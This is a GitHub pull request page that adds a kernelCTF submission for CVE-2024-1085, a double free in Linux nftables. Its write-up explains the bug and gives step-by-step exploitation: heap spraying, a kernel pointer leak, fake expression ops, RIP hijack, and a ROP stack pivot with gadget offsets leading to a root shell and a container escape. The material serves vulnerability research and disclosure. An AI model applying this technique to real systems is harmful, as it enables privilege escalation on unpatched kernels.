Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add kernelCTF CVE-2024-1085_cos #108

Merged
merged 32 commits into from
Sep 23, 2024
Merged
Show file tree
Hide file tree
Changes from 27 commits
Commits
Show all changes
32 commits
Select commit Hold shift + click to select a range
0feaecf
Add kernelctf CVE-2023-4569_lts
conlonial Mar 4, 2024
0cae495
change rop
conlonial Mar 4, 2024
9f46870
Merge branch 'google:master' into master
conlonialC May 30, 2024
1909b31
Add some infomation about the fix
conlonial May 30, 2024
013d9b6
Add some infomation about the fix
conlonial May 30, 2024
7d87875
Add some infomation about the fix
conlonial May 30, 2024
c449938
Add more details in exploit.md
conlonial Jun 7, 2024
237d125
Add more details in exploit.md and exploit.c
conlonial Jun 11, 2024
57544be
Add more details in exploit.md and exploit.c
conlonial Jun 11, 2024
ba8ffd2
Add more details in exploit.md and exploit.c
conlonial Jun 11, 2024
e34cada
Add more details in exploit.md and exploit.c
conlonial Jun 12, 2024
1d7caf9
Fix some problems
conlonial Jun 13, 2024
116b09f
Fix some problems
conlonial Jun 13, 2024
5a06a9a
Add more details in exploit.md
conlonial Jun 17, 2024
ffa541c
Merge branch 'google:master' into master
conlonialC Jun 26, 2024
1b39e7b
Add kernelCTF CVE-2024-1085_cos
conlonial Jun 26, 2024
71d4789
Add files
conlonial Jun 26, 2024
d7c6066
Add files
conlonial Jun 26, 2024
6297572
Fix files
conlonial Jun 26, 2024
8c50a43
Fix files
conlonial Jun 26, 2024
99c3f98
Fix files
conlonial Jun 26, 2024
bef1c11
Fix files
conlonial Jun 26, 2024
2391c47
Change exploit.c
conlonial Jun 26, 2024
ba19731
Change exploit.c
conlonial Jun 26, 2024
94eb014
Change exploit.c
conlonial Jun 26, 2024
34129ab
Change exploit.c
conlonial Jun 26, 2024
5798e83
Change metadata.json
conlonial Jun 26, 2024
2a843d5
Merge branch 'google:master' into master
conlonialC Aug 4, 2024
84ff723
Add more details in exploit.c
conlonial Aug 4, 2024
20e0f47
Add more details in exploit.c and exploit.md
conlonial Aug 23, 2024
156c88a
Merge branch 'google:master' into master
conlonialC Aug 24, 2024
02d5a81
add more details in exploit.c and exploit.md
conlonial Aug 24, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
164 changes: 164 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-1085_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,164 @@
# Exploit detail about CVE-2024-1085
If you want to get some base information about CVE-2024-1085, please read [vulnerability.md](./vulnerability.md) first.

## Background
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.

It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.

nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.

### Genmask States of nftables
In nftable, developers use `genmask` in many objects to mark the state of the object. `genmask` has two important flags, which represent whether the object is available in the current task and the next batch of tasks.

```c
/*
* Generic transaction helpers
*/

/* Check if this object is currently active. */
#define nft_is_active(__net, __obj) \
(((__obj)->genmask & nft_genmask_cur(__net)) == 0)

/* Check if this object is active in the next generation. */
#define nft_is_active_next(__net, __obj) \
(((__obj)->genmask & nft_genmask_next(__net)) == 0)

/* This object becomes active in the next generation. */
#define nft_activate_next(__net, __obj) \
(__obj)->genmask = nft_genmask_cur(__net)

/* This object becomes inactive in the next generation. */
#define nft_deactivate_next(__net, __obj) \
(__obj)->genmask = nft_genmask_next(__net)

/* After committing the ruleset, clear the stale generation bit. */
#define nft_clear(__net, __obj) \
(__obj)->genmask &= ~nft_genmask_next(__net)
#define nft_active_genmask(__obj, __genmask) \
!((__obj)->genmask & __genmask)
```

When an object is deleted, developers usually call `nft_deactivate_next` to modify its `genmask`. Similarly, when developers need to confirm which objects have not been deleted, they need to use `nft_is_active_next` to check to avoid double free and other problems.

## Cause anaylysis

In function `nft_setelem_catchall_deactivate`, it checks if an elem is active by this :

```c
...
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_is_active(net, ext))
continue;
...
```
but it should use function `nft_is_active_next`. This vulnerability makes it possible to free a catchall->elem twice.


## Triggering the vulnerability

It's easy to trigger it by following this steps:

- Create a pipapo set A, and a catchall set element B in pipapo set A.
- Delete element B.
- Delete element B again.

By the way, we need to send the command of step 2 and step 3 together because we need to avoid set element B being actually released before our step 3.

## Exploit it

### Target object caches
Because the `setelem` object size we plan to use is between 0xc0-0x100, our target object cache is `kmalloc-256`
conlonialC marked this conversation as resolved.
Show resolved Hide resolved

### Exploit detail
I exploit CVE-2024-1085 by following steps:

- 1. Create a pipapo set `A`, and a catchall set element `B` in it.
conlonialC marked this conversation as resolved.
Show resolved Hide resolved
- 2. Trigger the vulnerability by following messages:

```c
msg_list[0] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);//delete the catchall set element first time
msg_list[1] = del_table_msg(test_table);//kfree another heap to avoid crash
conlonialC marked this conversation as resolved.
Show resolved Hide resolved
msg_list[2] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);//delete the catchall set element second time
send_msg_list(socket, msg_list, 3);
```
After this we kfree the catchall set element `B` twice. This makes it possiable that we alloc the heap back twice.
- 3. Try to alloc the heap of the catchall set element `B` back by creating `nft_table` with `NFTA_TABLE_USERDATA`. Keep allocing heap, and each time you alloc a heap, check whether the heap has been alloced for(confirmed by whether the memory of the already created heap has been modified). After this step, We will find two `nft_table` with the same `udata`. We assume that the two `nft_tables` are `nft_table C` and `nft_table D`.
- 4. Delete `nft_table C`.
- 5. Spray heap to get the heap of `nft_table C->udata`
back. I spray heap by creating set element with `NFTA_SET_ELEM_EXPR` because I want to leak the `ops` pointer of the `nft_expr`.
- 6. Dump `nft_table D`. Now we leak `nft_last_ops`.
conlonialC marked this conversation as resolved.
Show resolved Hide resolved
- 7. Create another set element `E`. Then dump the `nft_table D` again. We can get the pointer of the set element `E` because each bitmap set element has a doubly linked list.
```c
struct nft_bitmap_elem {
struct list_head head;
struct nft_set_ext ext;
};
```
- 8. Delete set element `E`. Fill the heap memory of set element `E` through heap spraying.
```c
//ops->dump
*(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff810b9f43;//leave ; ret
//ops->type
*(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83967420;//last type
spray_tables(socket,0x200, pad, 0x80);
```
- 9. Delete `nft_table D`.
- 10. Fill the heap memory of `nft_table D ->udata` with fake `nft_expr` and ROP gadget.
- 11. Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget.
```c
static int nf_tables_fill_expr_info(struct sk_buff *skb,
const struct nft_expr *expr)
{
if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
goto nla_put_failure;

if (expr->ops->dump) {
struct nlattr *data = nla_nest_start_noflag(skb,
NFTA_EXPR_DATA);
if (data == NULL)
goto nla_put_failure;
if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here
goto nla_put_failure;
nla_nest_end(skb, data);
}
...

```

### ROP detail

The assembly code when calling expr->ops->dump is as follows:

```
mov rax, [rbp+0]
mov rsi, rbp
mov rdi, rbx
mov rax, [rax+40h]
call __x86_indirect_thunk_rax
```
So the `rbp` is the pointer of the current `nft_expr`. We fill it by following:
```c
...
//build fake setelem
*(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
//start ROP
*(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff8112af10;//pop rdi; ret expr[0]->data
...
```

The first step of ROP start looks like this(We fill the ops pointer in step 8):
```
expr->ops->dump(skb, expr) --> leave ; ret
```
This will finally makes this happen:

```
rsp = element + 0x28 // mov rsp, rbp
rbp = *(element + 0x28) //pop rbp rbp=*(&setelem_data[0x28])
rsp = element + 0x30
rip = *(element + 0x30) //ret rip=*(&setelem_data[0x30])
rsp = element + 0x38
```
After completing the stack migration, we can run ROPgadget and finally get the root shell.
27 changes: 27 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-1085_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
# Vulneribility
In function `nft_setelem_catchall_deactivate`, it checks if a catchall->elem is active by using function `nft_is_active`, but it should use `nft_is_active_next`. This vulnerability makes it possible to free a catchall->elem twice.

## Requirements to trigger the vulnerability
- Capabilities: `CAP_NET_ADMIN` capability is required.
- Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit aaa31047a6d25da0fa101da1ed544e1247949b40]( https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=aaa31047a6d25da0fa101da1ed544e1247949b40)

## Commit which makes it exploitable
- [commit 0b9af4860a61f55cf716267b5ae5df34aacc4b39](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=0b9af4860a61f55cf716267b5ae5df34aacc4b39)

## Commit which fixed the vulnerability
- [commit a372f1d01bc11aa85773a02353cd01aaf16dc18e](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=a372f1d01bc11aa85773a02353cd01aaf16dc18e)

## Affected kernel versions
- 6.1.56 and later
- 5.15.134 and later

## Affected component, subsystem
- net/netfilter (nf_tables)

## Cause
- UAF

Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
exploit:
gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
prerequisites:
sudo apt-get install libnl-nf-3-dev
run:
./exploit

clean:
rm exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf cos-105-17412.226.43
Run command "nsenter --target 1 -m -p" after run the poc.
Binary file not shown.
Loading
Loading